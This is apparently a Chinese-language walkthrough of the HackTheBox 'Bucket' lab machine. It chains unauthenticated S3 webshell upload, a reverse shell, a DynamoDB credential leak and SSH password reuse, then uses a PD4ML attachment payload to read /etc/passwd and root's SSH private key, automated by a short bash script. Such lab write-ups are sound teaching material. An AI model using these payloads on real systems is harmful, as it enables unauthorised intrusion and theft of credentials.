信息收集
端口扫描

Web站点

可以看到一个s3.bucket.htb
Get User Flag
S3未授权访问
但是很可惜,没什么有价值的内容

Fuzzing出个Shell来

直接访问的话会跳到一个奇怪的地址

文件上传
既然S3存在未授权访问,那我们可以试试往上面PUT文件。整个PHP上去要是能解析的话就拿下了

可惜还是不行,在这边访问只能下载

后面留意到,这adserver/index.html跟主站的内容是一样的。是不是能在主站访问我们上传的PHP呢?

确实是,总是喜欢搞这些小把戏

直接反弹Shell


容器逃逸
信息收集
linpeas发现了aws凭据,可以现在没有权限


root跑了个DynamoDB

端口信息

roy用户的bashrc可读

这里设置了目录ACL,也属于人为动作,到时候可以关注一下

数据库密码泄露
这里发现了一些roy用户的项目文件

有个db.php可以看看,很可能存在密码

这里用aws sdk去连接DynamoDB,而且不需要AKSK。相当于存在未授权访问的DynamoDB,我们可以直接使用aws cli连接

失败了,问了一下GPT。aws会在家目录创建一个.aws用户存储配置。所以这里把家目录改成/tmp即可
获取用户数据

密码重用
这里拿到几个密码,可以试一下ssh

Get Root Flag

感觉这里大有可为嘛,查一下web服务配置。看看这个站点如何访问。
只监听了127.0.0.1跟之前端口信息那边对应上了

端口转发
靶机内8000端口转至VPS
1
| ssh -L 8000:127.0.0.1:8000 roy@bucket.htb -fN
|
VPS 8000端口转至本地
1
| ssh -L 8000:127.0.0.1:8000 aurey@43.134.44.115 -fN
|

还是去了解一下这个pd4ml_demo.jar
吧
PD4ML 是一个流行的 Java 库,旨在方便地将 HTML 内容转换为高质量的打印输出或可下载的 PDF 文档。它可以在服务器端运行,并且具有可配置的页面布局、分页、字体嵌入、图像处理和其他各种功能。
HackTricks是个好东西,可以利用PD4ML读文件

PD4ML读文件
还是回到index.php这段代码:
- 在alerts表中筛选title属性为Ransomware的项
- 写入到files/random.html中
- 通过PD4ML将files/random.html转成PDF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php require 'vendor/autoload.php'; use Aws\DynamoDb\DynamoDbClient; if($_SERVER["REQUEST_METHOD"]==="POST") { if($_POST["action"]==="get_alerts") { date_default_timezone_set('America/New_York'); $client = new DynamoDbClient([ 'profile' => 'default', 'region' => 'us-east-1', 'version' => 'latest', 'endpoint' => 'http://localhost:4566' ]);
$iterator = $client->getIterator('Scan', array( 'TableName' => 'alerts', 'FilterExpression' => "title = :title", 'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")), ));
foreach ($iterator as $item) { $name=rand(1,10000).'.html'; file_put_contents('files/'.$name,$item["data"]); } passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf"); } } else { ?>
|
我们可以先试一下这个过程
按照GPT的指示先创个alters表
1 2
| aws --endpoint-url=http://localhost:4566 dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5
|
写个符合条件的内容进去
1
| aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html>testtest</html>"}}'
|
然后访问index.php POST指定的数据action=get_alerts
可以看到生成了文件,但是想访问的时候又没了(又要拼手速了)

后面发现alters表也会被删除,我们直接写个脚本吧
1 2 3 4 5
| #!/bin/bash aws --endpoint-url=http://localhost:4566 dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html>testtest</html>"}}' curl http://localhost:8000/index.php -d 'action=get_alerts' wget http://localhost:8000/files/result.pdf
|
这下确实可以看到我们生成的pdf了,下面利用PD4ML读文件
1
| aws --endpoint-url=http://localhost:4566 dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"<html><pd4ml:attachment src='\''file:///etc/passwd'\'' description='\''test'\'' icon='\''Paperclip'\''/></html>"}}'
|
成功读到了/etc/passwd

先看看/root
目录下都有些啥

然后可以直接读 /root/root.txt

但作为Hacker还是得GetShell,我们直接读/root/.ssh/id_rsa
使用私钥登录到root

总结
User Flag:S3未授权 ⇒ 上传WebShell ⇒ 数据库泄露密码 ⇒ 密码复用逃逸到宿主机
Root Flag:DynamoDB未授权 ⇒ bucket-app代码泄露 ⇒ PD4ML文件读取